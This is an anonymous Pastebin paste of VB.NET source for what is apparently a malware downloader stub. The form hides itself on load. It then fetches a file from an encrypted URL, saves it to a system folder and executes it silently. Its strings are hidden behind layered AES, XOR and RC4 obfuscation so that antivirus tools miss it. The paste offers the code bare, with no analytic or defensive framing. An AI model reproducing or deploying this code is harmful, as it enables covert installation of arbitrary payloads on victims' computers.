Advertisement
Guest User

Untitled

a guest
Dec 10th, 2016
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.96 KB | None | 0 0
  1. Imports System.Text
  2. Imports System.Security.Cryptography
  3. IPublic Class Form1
  4.  
  5. Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  6. Me.ShowIcon = False
  7. Me.ShowInTaskbar = False
  8. Me.Opacity = 0
  9.  
  10. Dim Download As New Net.WebClient
  11. Me.Hide()
  12. Me.ShowIcon = False
  13. Me.ShowInTaskbar = False
  14. Me.Opacity = 0
  15. Download.DownloadFile(aWXbSVZklacYfuvdogjtwsX("9VWgs2tzcQj5Kag8iauSq+rJ6t58PgEFC3vdrHkIGPeoQdt11zKLa6azkNM68M4wtVic++Rnz7w/EUQeBCOHqA=="), Environ(aWXbSVZklacYfuvdogjtwsX("dMeFPgbE32HJbSzegRipEw==")) & aWXbSVZklacYfuvdogjtwsX("yhtWlJCf0Ew0DZ0JvpG2JSxPGNuU48cSMpPdk+zDe4A="))
  16. Shell(Environ(aWXbSVZklacYfuvdogjtwsX("dMeFPgbE32HJbSzegRipEw==")) & aWXbSVZklacYfuvdogjtwsX("yhtWlJCf0Ew0DZ0JvpG2JSxPGNuU48cSMpPdk+zDe4A="))
  17.  
  18.  
  19. End
  20.  
  21. End Sub
  22.  
  23.  
  24.  
  25. Private Function aWXbSVZklacYfuvdogjtwsX(ByVal lmnTqMirfqXAlDMlH As String)
  26. Dim aeTMwvWbSavLaNgRG As New RijndaelManaged
  27. Dim nRijZgfjljBYQhQaY() As Byte
  28. Dim qsdCICdbqccwrOVPo() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
  29. Dim oKeyGenerator As New Rfc2898DeriveBytes(sndkNowGQfWdrpoVCYDQXpM( Chr(20) & Chr(34) & Chr(45) & Chr(23) & Chr(38) & Chr(35) & Chr(47) & Chr(30) & Chr(25) & Chr(20) & Chr(22) & Chr(44) & Chr(19) & Chr(0) & Chr(3) & Chr(17) & Chr(26) & Chr(18) & Chr(31) & Chr(1) & Chr(2) & Chr(6) & Chr(45) , pGlDHTnndDbjfDKRRsVwAXT( Chr(235) & Chr(75) & Chr(200) & Chr(40) & Chr(106) & Chr(136) & Chr(216) & Chr(73) & Chr(21) & Chr(219) & Chr(210) & Chr(148) & Chr(54) & Chr(102) & Chr(180) & Chr(74) & Chr(171) & Chr(160) & Chr(159) & Chr(115) & Chr(160) & Chr(108) & Chr(234) )), qsdCICdbqccwrOVPo)
  30. aeTMwvWbSavLaNgRG.Key = oKeyGenerator.GetBytes(aeTMwvWbSavLaNgRG.Key.Length)
  31. aeTMwvWbSavLaNgRG.IV = oKeyGenerator.GetBytes(aeTMwvWbSavLaNgRG.IV.Length)
  32. Dim sXYSoWbUwVHWVsaEH As New IO.MemoryStream
  33. Dim vBSiXqZMEOiuwZeqY As New CryptoStream(sXYSoWbUwVHWVsaEH, aeTMwvWbSavLaNgRG.CreateDecryptor(), CryptoStreamMode.Write)
  34. Try
  35. nRijZgfjljBYQhQaY = Convert.FromBase64String(lmnTqMirfqXAlDMlH)
  36. vBSiXqZMEOiuwZeqY.Write(nRijZgfjljBYQhQaY, 0, nRijZgfjljBYQhQaY.Length)
  37. vBSiXqZMEOiuwZeqY.Close()
  38. Return System.Text.Encoding.UTF8.GetString(sXYSoWbUwVHWVsaEH.ToArray)
  39. Catch
  40. End Try
  41. End Function
  42.  
  43.  
  44. Private Function sndkNowGQfWdrpoVCYDQXpM(ByVal RecnndDpaMSDATKvV As String, ByVal UJWGWABhgFtabAPlm As String)
  45. Dim XkRXFUwZmvXBFeTaF As String =""
  46. Dim ZPMnlnuRrnBZgLYPV As Short
  47. Dim kXgtfFIhHGaOsCEjX As Integer
  48. kXgtfFIhHGaOsCEjX = Asc(UJWGWABhgFtabAPlm)
  49. For ZPMnlnuRrnBZgLYPV = 1 To Len(RecnndDpaMSDATKvV)
  50. XkRXFUwZmvXBFeTaF &= Chr(kXgtfFIhHGaOsCEjX Xor Asc(Mid(RecnndDpaMSDATKvV, ZPMnlnuRrnBZgLYPV, 1)))
  51. Next
  52. Return XkRXFUwZmvXBFeTaF
  53. End Function
  54.  
  55.  
  56. Public Function pGlDHTnndDbjfDKRRsVwAXT(ByVal PukGhIrZnhWIledrl As String) As String
  57. Dim RZfXQcpStaBgPLhhE As String = rQLTukeQTTMEocqDIllXMgB("cEdsREhUbm5kRGJqZkRLUlJzVndBWFQ=")
  58. Dim UDanvwnKBTcHqpmWU As Integer = 0
  59. Dim XfVGeSkCHMGfUWrLl As Integer = 0
  60. Dim hnpMYhwSUcfUgNXfm As New StringBuilder
  61. Dim kSjcHDuKZVJrKrbUF As String = String.Empty
  62. Dim mtesnXsCfOkSlYgJW As Integer() = New Integer(256) {}
  63. Dim pYZLWrprkHPqPFlvm As Integer() = New Integer(256) {}
  64. Dim rDUcFNnkqAqRqjpkF As Integer = RZfXQcpStaBgPLhhE.Length
  65. Dim FLoiwcCCGQSGFZVHH As Integer = 0
  66. While FLoiwcCCGQSGFZVHH <= 255
  67. Dim ImjBfvArLJtdgGatX As Char = (RZfXQcpStaBgPLhhE.Substring((FLoiwcCCGQSGFZVHH Mod rDUcFNnkqAqRqjpkF), 1).ToCharArray()(0))
  68. pYZLWrprkHPqPFlvm(FLoiwcCCGQSGFZVHH) = Microsoft.VisualBasic.Strings.Asc(ImjBfvArLJtdgGatX)
  69. mtesnXsCfOkSlYgJW(FLoiwcCCGQSGFZVHH) = FLoiwcCCGQSGFZVHH
  70. System.Math.Max(System.Threading.Interlocked.Increment(FLoiwcCCGQSGFZVHH), FLoiwcCCGQSGFZVHH - 1)
  71. End While
  72. Dim KReROSukRCXEKkfjn As Integer = 0
  73. Dim NtZhumscWsBclRjYG As Integer = 0
  74. While NtZhumscWsBclRjYG <= 255
  75. KReROSukRCXEKkfjn = (KReROSukRCXEKkfjn + mtesnXsCfOkSlYgJW(NtZhumscWsBclRjYG) + pYZLWrprkHPqPFlvm(NtZhumscWsBclRjYG)) Mod 256
  76. Dim PXTAdIqUcldDPvoNX As Integer = mtesnXsCfOkSlYgJW(NtZhumscWsBclRjYG)
  77. mtesnXsCfOkSlYgJW(NtZhumscWsBclRjYG) = mtesnXsCfOkSlYgJW(KReROSukRCXEKkfjn)
  78. mtesnXsCfOkSlYgJW(KReROSukRCXEKkfjn) = PXTAdIqUcldDPvoNX
  79. System.Math.Max(System.Threading.Interlocked.Increment(NtZhumscWsBclRjYG), NtZhumscWsBclRjYG - 1)
  80. End While
  81. FLoiwcCCGQSGFZVHH = 1
  82. While FLoiwcCCGQSGFZVHH <= PukGhIrZnhWIledrl.Length
  83. Dim afnGXXFkpEEpbmUhY As Integer = 0
  84. UDanvwnKBTcHqpmWU = (UDanvwnKBTcHqpmWU + 1) Mod 256
  85. XfVGeSkCHMGfUWrLl = (XfVGeSkCHMGfUWrLl + mtesnXsCfOkSlYgJW(UDanvwnKBTcHqpmWU)) Mod 256
  86. afnGXXFkpEEpbmUhY = mtesnXsCfOkSlYgJW(UDanvwnKBTcHqpmWU)
  87. mtesnXsCfOkSlYgJW(UDanvwnKBTcHqpmWU) = mtesnXsCfOkSlYgJW(XfVGeSkCHMGfUWrLl)
  88. mtesnXsCfOkSlYgJW(XfVGeSkCHMGfUWrLl) = afnGXXFkpEEpbmUhY
  89. Dim cKiXGqCcuugPFTZWo As Integer = mtesnXsCfOkSlYgJW((mtesnXsCfOkSlYgJW(UDanvwnKBTcHqpmWU) + mtesnXsCfOkSlYgJW(XfVGeSkCHMGfUWrLl)) Mod 256)
  90. Dim fldnmNAUDnKngAdLI As Char = PukGhIrZnhWIledrl.Substring(FLoiwcCCGQSGFZVHH - 1, 1).ToCharArray()(0)
  91. afnGXXFkpEEpbmUhY = Asc(fldnmNAUDnKngAdLI)
  92. Dim iQYGVhvMJglOKeiAY As Integer = afnGXXFkpEEpbmUhY Xor cKiXGqCcuugPFTZWo
  93. hnpMYhwSUcfUgNXfm.Append(Chr(iQYGVhvMJglOKeiAY))
  94. System.Math.Max(System.Threading.Interlocked.Increment(FLoiwcCCGQSGFZVHH), FLoiwcCCGQSGFZVHH - 1)
  95. End While
  96. kSjcHDuKZVJrKrbUF = hnpMYhwSUcfUgNXfm.ToString
  97. hnpMYhwSUcfUgNXfm.Length = 0
  98. Return kSjcHDuKZVJrKrbUF
  99. End Function
  100.  
  101. Public Function rQLTukeQTTMEocqDIllXMgB(ByVal JbhhMeVcWaKNMtlwq As String)
  102. Dim lUOKRsotilYaXDbSe As Byte() = Convert.FromBase64String(JbhhMeVcWaKNMtlwq)
  103. Dim WNwGmPekoiNaCRWIL As String = System.Text.Encoding.UTF8.GetString(lUOKRsotilYaXDbSe)
  104. Return WNwGmPekoiNaCRWIL
  105. End Function
  106. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement